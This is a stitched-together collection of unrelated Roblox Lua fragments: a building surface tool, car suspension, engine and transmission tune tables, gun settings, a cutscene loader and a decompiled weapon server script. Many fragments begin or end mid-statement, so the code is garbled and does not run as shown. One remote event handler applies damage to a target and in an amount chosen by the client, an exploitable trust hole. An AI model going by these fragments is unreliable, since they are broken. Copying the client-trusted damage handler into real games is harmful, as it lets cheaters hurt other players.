`Surface` -- Set the surface option SurfaceTool.Surface = SurfaceName; -- Update the current surface in the surface dropdown SurfaceDropdown.SetOption(SurfaceName); end; function SetSurfaceType(SurfaceType) -- Changes the selection's surface type on the currently selected surface -- Make sure a surface has been selected if not SurfaceTool.Surface then return; end; -- Track changes TrackChange(); -- Change the surface of the parts locally for _, Part in pairs(Selection.Parts) do -- Change all surfaces if all selected if SurfaceTool.Surface == 'All' then Part.TopSurface = SurfaceType; Part.BottomSurface = SurfaceType; Part.FrontSurface = SurfaceType; Part.BackSurface = SurfaceType; Part.LeftSurface = SurfaceType; Part.RightSurface = SurfaceType; -- Change specific selected surface else Part[SurfaceTool.Surface .. 'Surface'] = SurfaceType; end; end; -- Register changes RegisterChange(); end; function EnableSurfaceSelection() -- Allows the player to select surfaces by clicking on them -- Watch out for clicks on selected parts Connections.SurfaceSelection = Core.Mouse.Button1Down:Connect(function () local _, ScopeTarget = Core.Targeting:UpdateTarget() if Selection.IsSelected(ScopeTarget) then -- Set the surface option to the target surface SetSurface(Core.Mouse.TargetSurface.Name); end; end); end; function TrackChange() -- Start the record HistoryRecord = { Parts = Support.CloneTable(Selection.Parts); BeforeSurfaces = {}; AfterSurfaces = {}; Selection = Selection.Items; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Record.Selection) -- Put together the change request local Changes = {}; for _, Part in pairs(Record.Parts) do table.insert(Changes, { Part = Part, Surfaces = Record.BeforeSurfaces[Part] }); end; -- Send the change request Core.SyncAPI:Invoke('SyncSurface', Changes); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Record.Selection) -- Put together the change request local Changes = {}; for _, Part in pairs(Record.Parts) do table.insert(Changes, { Part = Part, Surfaces = Record.AfterSurfaces[Part] }); end; -- Send the change request Core.SyncAPI:Invoke('SyncSurface', Changes); end; }; -- Collect the selection's initial state for _, Part in pairs(HistoryRecord.Parts) do -- Begin to record surfaces HistoryRecord.BeforeSurfaces[Part] = {}; local Surfaces = HistoryRecord.BeforeSurfaces[Part]; -- Record all surfaces if all selected if SurfaceTool.Surface == 'All' then Surfaces.Top = Part.TopSurface; Surfaces.Bottom = Part.BottomSurface; Surfaces.Front = Part.FrontSurface; Surfaces.Back = Part.BackSurface; Surfaces.Left = Part.LeftSurface; Surfaces.Right = Part.RightSurface; -- Record specific selected surface else Surfaces[SurfaceTool.Surface] = Part[SurfaceTool.Surface .. 'Surface']; end; end; end; function RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not HistoryRecord then return; end; -- Collect the selection's final state local Changes = {}; for _, Part in pairs(HistoryRecord.Parts) do -- Begin to record surfaces HistoryRecord.AfterSurfaces[Part] = {}; local Surfaces = HistoryRecord.AfterSurfaces[Part]; -- Record all surfaces if all selected if SurfaceTool.Surface == 'All' then Surfaces.Top = Part.TopSurface; Surfaces.Bottom = Part.BottomSurface; Surfaces.Front = Part.FrontSurface; Surfaces.Back = Part.BackSurface; Surfaces.Left = Part.LeftSurface; Surfaces.Right = Part.RightSurface; -- Record specific selected surface else Surfaces[SurfaceTool.Surface] = Part[SurfaceTool.Surface .. 'Surface']; end; -- Create the change request for this part table.insert(Changes, { Part = Part, Surfaces = Surfaces }); end; -- Send the changes to the server Core.SyncAPI:Invoke('SyncSurface', Changes); -- Register the record and clear the staging Core.History.Add(HistoryRecord); HistoryRecord = nil; end;
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 150 -- Spring Dampening Tune.FSusStiffness = 1000 -- Spring Force Tune.FSusLength = 8 -- Suspension length (in studs) Tune.FSusMaxExt = 1.5 -- Max Extension Travel (in studs) Tune.FSusMaxComp = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 60 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 10 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 150 -- Spring Dampening Tune.RSusStiffness = 1000 -- Spring Force Tune.RSusLength = 8 -- Suspension length (in studs) Tune.RSusMaxExt = 1.5 -- Max Extension Travel (in studs) Tune.RSusMaxComp = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 60 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 10 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = true -- Wishbone Visible Tune.SusRadius = .3 -- Suspension Coil Radius Tune.SusThickness = .2 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 8 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .2 -- Wishbone Rod Thickness
--[[ PhysicsService:GetCollisionGroupName(playerCollisionGroupName) PhysicsService:CollisionGroupSetCollidable(playerCollisionGroupName, playerCollisionGroupName, false) ]]
local previousCollisionGroups = {} local function setCollisionGroup(object) if object:IsA("BasePart") or object:IsA("UnionOperation") then previousCollisionGroups[object] = object.CollisionGroup object.CollisionGroup = playerCollisionGroupName --PhysicsService:SetPartCollisionGroup(object, playerCollisionGroupName) end end local function setCollisionGroupRecursive(object) setCollisionGroup(object) for _, child in ipairs(object:GetChildren()) do setCollisionGroupRecursive(child) end end local function resetCollisionGroup(object) local previousCollisionGroup = previousCollisionGroups[object] if not previousCollisionGroup then return end --local previousCollisionGroupName = PhysicsService:GetCollisionGroupName(previousCollisionGroupId) --if not previousCollisionGroupName then return end object.CollisionGroup = previousCollisionGroup --PhysicsService:SetPartCollisionGroup(object, previousCollisionGroupName) previousCollisionGroups[object] = nil end local function onCharacterAdded(character) setCollisionGroupRecursive(character) character.DescendantAdded:Connect(setCollisionGroup) character.DescendantRemoving:Connect(resetCollisionGroup) end local function onPlayerAdded(player) player.CharacterAdded:Connect(onCharacterAdded) end Players.PlayerAdded:Connect(onPlayerAdded)
--------RIGHT DOOR --------
game.Workspace.doorright.l21.BrickColor = BrickColor.new(21) game.Workspace.doorright.l22.BrickColor = BrickColor.new(1) game.Workspace.doorright.l23.BrickColor = BrickColor.new(21) game.Workspace.doorright.l51.BrickColor = BrickColor.new(1) game.Workspace.doorright.l52.BrickColor = BrickColor.new(21) game.Workspace.doorright.l53.BrickColor = BrickColor.new(1)
--local l__Forward__37 = v34.Forward; --v2.hum:LoadAnimation(l__Animations__27:WaitForChild("IdleAnimation")):Play(0.2, 1, 0.75); --l__Forward__37:Play(0.2, 0.01, 0.75);
local u1 = 0; local u2 = 15; local u3 = false; local l__Parent__1 = script.Parent.Parent.Parent; local l__UserInputService__5 = game:GetService("UserInputService"); local l__TweenService__2 = game:GetService("TweenService");
--[[ TOP BAR DISABLER ]]
-- StarterGui:SetCore("TopbarEnabled",false) StarterGui:SetCoreGuiEnabled("All",false)
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 12000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .15 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 12000 -- Spring Force Tune.FAntiRoll = 30 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .09 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--[[Engine]]
--Torque Curve Tune.Horsepower = 170 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 7000 -- Use sliders to manipulate values Tune.Redline = 7700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 6500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--Filtering
Postie.SetCallback("getPlatform", getPlatform)
--- Invoke a command programmatically as the local user e.g. from a settings menu -- Command should be the first argument, all arguments afterwards should be the arguments to the command.
function Dispatcher:Run (...) if not Players.LocalPlayer then error("Dispatcher:Run can only be called from the client.") end local args = {...} local text = args[1] for i = 2, #args do text = text .. " " .. tostring(args[i]) end local command, errorText = self:Evaluate(text, Players.LocalPlayer) if not command then error(errorText) -- We do a full-on error here since this is code-invoked and they should know better. end local success, errorText = command:Validate(true) -- luacheck: ignore if not success then error(errorText) end return command:Run() end
-- fetch the ID list
local IDList = require(script.Parent:FindFirstChildWhichIsA("ModuleScript"))
--////////////////////////////// Include --//////////////////////////////////////
local Chat = game:GetService("Chat") local clientChatModules = Chat:WaitForChild("ClientChatModules") local modulesFolder = script.Parent local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings")) local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil")) local MessageSender = require(modulesFolder:WaitForChild("MessageSender")) local ChatLocalization = nil pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end) if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end
--[[ INSTRUCTIONS: Place both teleporter1a and teleporter1b in the same directory (e.g. both in workspace directly, or both directly in the same group or model) Otherwise it wont work. Once youve done that, jump on the teleporter to teleport to the other. If you want more than one set of teleporters I will be adding more types in the future. Send me requests and ideas - miked. --]]
-- Random number generator that will calculate drop chance and random drop position
local randomGenerator = Random.new()
-- Climb or Jump
if Hit and Hit ~= AItorso then if (Hit.Name == "Truss" and target.Position.y > torsoPos.y - 3) or target.Parent == Hit.Parent then -- ignore parts called "Ladder", if AI is level or below CURRENT Targ pos. Hit = nil ClimbingLadder = true -- Climb and don't check floor else
--- Skill
local UIS = game:GetService("UserInputService") local plr = game.Players.LocalPlayer local Mouse = plr:GetMouse() local Debounce = true Player = game.Players.LocalPlayer Animation = Instance.new("Animation") Animation.AnimationId = "rbxassetid://4934580993" UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.V and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = false Tool.Active.Value = "BallSand" wait(0.1) Track1 = Player.Character.Humanoid:LoadAnimation(Animation) Track1:Play() wait(0.15) script.Fire:FireServer(plr) local hum = Player.Character.Humanoid for i = 1,30 do wait() hum.CameraOffset = Vector3.new( math.random(-1,1), math.random(-1,1), math.random(-1,1) ) end hum.CameraOffset = Vector3.new(0,0,0) wait(0.15) Tool.Active.Value = "None" wait(2) Debounce = true end end)
--[[ Creates an enum dictionary with some metamethods to prevent common mistakes. ]]
local function makeEnum(enumName, members) local enum = {} for _, memberName in ipairs(members) do enum[memberName] = memberName end return setmetatable(enum, { __index = function(_, k) error(string.format("%s is not in %s!", k, enumName), 2) end, __newindex = function() error(string.format("Creating new members in %s is not allowed!", enumName), 2) end, }) end
--//Server Animations
RightHighReady = CFrame.new(-1, -1, -1.5) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0)); LeftHighReady = CFrame.new(.85,-0.35,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15)); RightLowReady = CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0)); LeftLowReady = CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25)); RightPatrol = CFrame.new(-1, -.35, -1.5) * CFrame.Angles(math.rad(-80), math.rad(-80), math.rad(0)); LeftPatrol = CFrame.new(1,1.25,-.75) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25)); RightAim = CFrame.new(-.575, 0.1, -1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)); LeftAim = CFrame.new(1.4,0.25,-1.45) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-25)); RightSprint = CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0)); LeftSprint = CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25)); ShootPos = CFrame.new(0,0,.25); } return module
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat. p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(-0,-0,-1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0.05,0.13,-0.2) -- Change these to change the positiones of your hat, as I said earlier. wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
-- This finds the tank that we are controlling
parts = script.Parent.Parent.Parent.Turret.Value; tankStats = parts.Stats;
-- Update clock once per second
while true do updateClock() wait(1) end
-- Create component
local ScopeHUD = Roact.PureComponent:extend 'ScopeHUD'
-- preload our two static images here
Game:GetService("ContentProvider"):Preload("http://www.roblox.com/asset/?id=58247550") Game:GetService("ContentProvider"):Preload("http://www.roblox.com/asset/?id=58247679") function waitForChild(parent, child) while not parent:FindFirstChild(child) do parent.ChildAdded:wait() end end local screen = script.Parent local staticDecal = Instance.new("Decal") staticDecal.Name = "Static" staticDecal.Texture = "http://www.roblox.com/asset/?id=58247550" staticDecal.Face = "Left" waitForChild(screen, "ClickDetector") local clickDetector = screen.ClickDetector function flicker(timeToFlicker) local startTime = tick() while tick() - startTime < timeToFlicker do staticDecal.Texture = "http://www.roblox.com/asset/?id=58247679" wait(flickerSpeed) staticDecal.Texture = "http://www.roblox.com/asset/?id=58247550" wait(flickerSpeed) end end local debounce = false function tvOn() if debounce then return end debounce = true -- should take care of one little data persistance caveat... static = screen:FindFirstChild("Static") if static then static:Remove() end staticDecal.Parent = screen flicker(3) staticDecal.Parent = nil debounce = false end clickDetector.MouseClick:connect(tvOn)
--------SETTINGS--------
local ITEM_NAME = "Crossbow" local ITEM_PRICE = 10 local CURRENCY_NAME = "Cash"
---------------------------------------------------------------------------------------------------- --------------------=[ CFRAME ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,EnableHolster = false ,HolsterTo = 'Torso' -- Put the name of the body part you wanna holster to ,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)) ,RightArmPos = CFrame.new(-0.85, 0.2, -1.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server ,LeftArmPos = CFrame.new(1.05,0.9,-1.4) * CFrame.Angles(math.rad(-100),math.rad(25),math.rad(-20)) --server ,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) ,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0)) ,RightPos = CFrame.new(-.65, -0.2, -.85) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Client ,LeftPos = CFrame.new(1.1, 0.05, -1.5) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-20)) --Client } return Config
-- привязываем действие к нажатию
local button = script.Parent local open=script.Parent.Parent.open local function onButtonActivated() open.Value = "none" end button.Activated:Connect(onButtonActivated)
--------------------[ SPRINTING FUNCTIONS ]-------------------------------------------
function canRun(midRun) return ((Forward and (not Backward)) and Walking and (Stamina > 0) and Running and Selected and (midRun and true or onGround) and runReady and (S.canFireWhileRunning and true or (not Firing)) ) end function monitorStamina() Running = true if (not canRun(false)) then Running = false return end if Aimed then unAimGun(true) end if Stance == 1 or Stance == 2 then Stand() end if (not (Reloading and S.reloadSettings.Anim)) then if S.canFireWhileRunning then tweenJoint(LWeld, armC0[1], S.unAimedC1.leftArm, Sine, 0.4) tweenJoint(RWeld, armC0[2], S.unAimedC1.rightArm, Sine, 0.4) tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, 0.4) else tweenJoint(LWeld, armC0[1], S.runningC1.leftArm, Sine, 0.4) tweenJoint(RWeld, armC0[2], S.runningC1.rightArm, Sine, 0.4) tweenJoint(Grip, nil, S.runningC1.Grip, Sine, 0.4) end end crossOffset = 50 while runKeyPressed do if canRun(true) then if onGround then local newStamina = Stamina - 1 Stamina = (newStamina < 0 and 0 or newStamina) end else break end RS.RenderStepped:wait() end Running = false if (not Aimed) and (not (Reloading and S.reloadSettings.Anim)) and (not S.canFireWhileRunning) then crossOffset = 0 tweenJoint(LWeld, armC0[1], S.unAimedC1.leftArm, Sine, 0.4) tweenJoint(RWeld, armC0[2], S.unAimedC1.rightArm, Sine, 0.4) tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, 0.4) end rechargeStamina() end function rechargeStamina() chargingStamina = true while ((not runKeyPressed) or (Stamina < maxStamina)) and (not Running) do if Stamina < maxStamina then local newStamina = Stamina + (S.sprintTime / S.staminaCoolTime) Stamina = (newStamina > maxStamina and maxStamina or newStamina) elseif Stamina >= maxStamina then break end RS.RenderStepped:wait() end chargingStamina = false end
--[[ A helper function to define a Rodux action creator with an associated name. ]]
local function makeActionCreator(name, fn) assert(type(name) == "string", "Bad argument #1: Expected a string name for the action creator") assert(type(fn) == "function", "Bad argument #2: Expected a function that creates action objects") return setmetatable({ name = name, }, { __call = function(self, ...) local result = fn(...) assert(type(result) == "table", "Invalid action: An action creator must return a table") result.type = name return result end }) end return makeActionCreator
--//trunk
local tk = Instance.new("Motor", script.Parent.Parent.Misc.TK.SS) tk.MaxVelocity = 0.02 tk.Part0 = script.Parent.TK tk.Part1 = tk.Parent fl.MaxVelocity = 0.03 fl.Part0 = script.Parent.FL fl.Part1 = fl.Parent fr.MaxVelocity = 0.03 fr.Part0 = script.Parent.FR fr.Part1 = fr.Parent rl.MaxVelocity = 0.03 rl.Part0 = script.Parent.RL rl.Part1 = rl.Parent rr.MaxVelocity = 0.03 rr.Part0 = script.Parent.RR rr.Part1 = rr.Parent wl.MaxVelocity = 0.007 wl.Part0 = script.Parent.Parent.Misc.FL.Door.WD wl.Part1 = wl.Parent wr.MaxVelocity = 0.007 wr.Part0 = script.Parent.Parent.Misc.FR.Door.WD wr.Part1 = wr.Parent wl2.MaxVelocity = 0.007 wl2.Part0 = script.Parent.Parent.Misc.RL.Door.WD wl2.Part1 = wl2.Parent wr2.MaxVelocity = 0.007 wr2.Part0 = script.Parent.Parent.Misc.RR.Door.WD wr2.Part1 = wr2.Parent
--[[ Services ]]
-- local PlayersService = game:GetService('Players') local VRService = game:GetService("VRService") local Util = require(script.Parent:WaitForChild("CameraUtils")) local newDefaultCameraAngleFlagExists, newDefaultCameraAngleFlagEnabled = pcall(function() return UserSettings():IsUserFeatureEnabled("UserNewDefaultCameraAngle") end) local FFlagUserNewDefaultCameraAngle = newDefaultCameraAngleFlagExists and newDefaultCameraAngleFlagEnabled
-- ==================== -- BASIC -- A basic settings for the gun -- ====================
Auto = false; MuzzleOffset = Vector3.new(0, 0.625, 1.25); BaseDamage = 15; FireRate = 0.05; --In second ReloadTime = 2; --In second AmmoPerClip = 12; --Put "math.huge" to make this gun has infinite ammo and never reload Spread = 1.25; --In degree HeadshotEnabled = true; --Enable the gun to do extra damage on headshot HeadshotDamageMultiplier = 3; MouseIconID = "316279304"; HitSoundIDs = {186809061,186809249,186809250,186809252}; IdleAnimationID = 94331086; --Set to "nil" if you don't want to animate IdleAnimationSpeed = 1; FireAnimationID = 94332152; --Set to "nil" if you don't want to animate FireAnimationSpeed = 6; ReloadAnimationID = nil; --Set to "nil" if you don't want to animate ReloadAnimationSpeed = 1;
-- Loading
local CutsceneFolder = workspace.Cutscenes:WaitForChild("level1") -- The folder that contains the cutscene data (Cameras...) local Destroy = false -- Destroy folder after loading? you don't want your player to see your cameras floating around! local NoYield = false -- Generally you want this to be set to false, because loading takes a little bit of time, and you don't want to interact with the cutscene when it's not loaded local SafeMode = true -- This is adviced to be turned on, especially if the cutscene folder data is too big to load at one frame. when turned on, it loads a camera every frame, not all at once. local Cutscene = require(CutsceneModule) local Demo = Cutscene.new(Camera, Looping, Speed, FreezeControls) -- Create cutscene Demo:Load(CutsceneFolder, Destroy, NoYield, SafeMode) -- Load cutscene data from folder local PlayOnPartTouch = script:FindFirstChild("PlayOnPartTouch") local PlayOnPlayerJoin = script:FindFirstChild("PlayOnPlayerJoin") local PlayOnCharacterAdded = script:FindFirstChild("PlayOnCharacterAdded") local PlayOnCharacterDied = script:FindFirstChild("PlayOnCharacterDied") local PlayOnEventFire = script:FindFirstChild("PlayOnEventFire") local PlayOnRemoteEventFire = script:FindFirstChild("PlayOnRemoteEventFire") local ProtectTheCharacterWhilePlaying = script:FindFirstChild("ProtectTheCharacterWhilePlaying") local CharacterProtector = script:FindFirstChild("CharacterProtector") local Music = script:FindFirstChild("Music") local StopMusicWhenFinished = script:FindFirstChild("StopMusicWhenFinished") local StopOnEventFire = script:FindFirstChild("StopOnEventFire") local StopOnRemoteEventFire = script:FindFirstChild("StopOnRemoteEventFire") local PlayOnce = script:FindFirstChild("PlayOnce") local Debounce = script:FindFirstChild("Cooldown") local OnFinishedRemove = script:FindFirstChild("OnFinishedRemove") local bin = true local Player = game:GetService("Players").LocalPlayer local CutsceneGui = script:FindFirstChild("Cutscene")
-- PROPERTIES
IconController.topbarEnabled = true IconController.controllerModeEnabled = false IconController.previousTopbarEnabled = checkTopbarEnabled() IconController.leftGap = 12 IconController.midGap = 12 IconController.rightGap = 12 IconController.leftOffset = 0 IconController.rightOffset = 0 IconController.voiceChatEnabled = false IconController.mimicCoreGui = true IconController.healthbarDisabled = false IconController.activeButtonBCallbacks = 0 IconController.disableButtonB = false
--[[Transmission]]
Tune.TransModes = {"Auto"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , --[[ 7 ]] 0.52 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--Button Event
for _, b in pairs(scroll:GetChildren()) do if b.ClassName=="TextButton" then b.MouseButton1Click:Connect(function() local result = event:InvokeServer(".", b.Tool.Value) frame.Visible = false frame.Search.Text = "" if result then player.Character.Humanoid:UnequipTools() player.Character.Humanoid:EquipTool(result) end end) end end
--// Events
L_34_.OnServerEvent:connect(function(L_84_arg1) for L_85_forvar1, L_86_forvar2 in pairs(L_30_:GetChildren()) do if L_86_forvar2.Name:sub(1, 7) == "FlashFX" then L_86_forvar2.Enabled = true end end; delay(1 / 30, function() for L_87_forvar1, L_88_forvar2 in pairs(L_30_:GetChildren()) do if L_88_forvar2.Name:sub(1, 7) == "FlashFX" then L_88_forvar2.Enabled = false end end end); end) local L_52_ L_35_.OnServerEvent:connect(function(L_89_arg1, L_90_arg2, L_91_arg3) L_90_arg2:TakeDamage(L_91_arg3) if L_90_arg2.Health <= 0 and L_90_arg2 ~= L_52_ then if L_4_ and L_4_:FindFirstChild(L_2_.Name) then local L_92_ = L_4_[L_2_.Name] L_92_.Value = not L_92_.Value end L_39_:FireClient(L_89_arg1) L_52_ = L_90_arg2 end end) L_36_.OnServerEvent:connect(function(L_93_arg1, L_94_arg2) local L_95_ = Instance.new("ObjectValue") L_95_.Name = "creator" L_95_.Value = L_93_arg1 L_95_.Parent = L_94_arg2 game.Debris:AddItem(L_95_, 3) end) L_37_.OnServerEvent:connect(function(L_96_arg1, L_97_arg2, L_98_arg3) local L_99_ = L_96_arg1.Character local L_100_ = L_99_:FindFirstChild('Torso') local L_101_ = L_99_:FindFirstChild('HumanoidRootPart'):FindFirstChild('RootJoint') local L_102_ = L_100_:FindFirstChild('Right Hip') local L_103_ = L_100_:FindFirstChild('Left Hip') local L_104_ = L_100_:FindFirstChild('Clone') if L_97_arg2 == "Prone" and L_99_ and L_104_ then L_101_.C0 = CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195) L_102_.C0 = CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009) L_103_.C0 = CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009) L_104_.C0 = CFrame.new(0, -2.04640698, -0.799179077, -1, 0, -8.57672189e-15, 8.57672189e-15, 0, 1, 0, 1, 0) elseif L_97_arg2 == "Crouch" and L_99_ and L_104_ then L_101_.C0 = CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015) L_102_.C0 = CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0) L_103_.C0 = CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0) L_104_.C0 = CFrame.new(0, -0.0399827957, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) elseif L_97_arg2 == "Stand" and L_99_ and L_104_ then L_101_.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) L_102_.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0) L_103_.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) L_104_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) elseif L_97_arg2 == "LeanRight" then L_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0) L_102_.C1 = CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0) L_104_.C1 = CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) elseif L_97_arg2 == "LeanLeft" then L_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0) L_103_.C1 = CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, 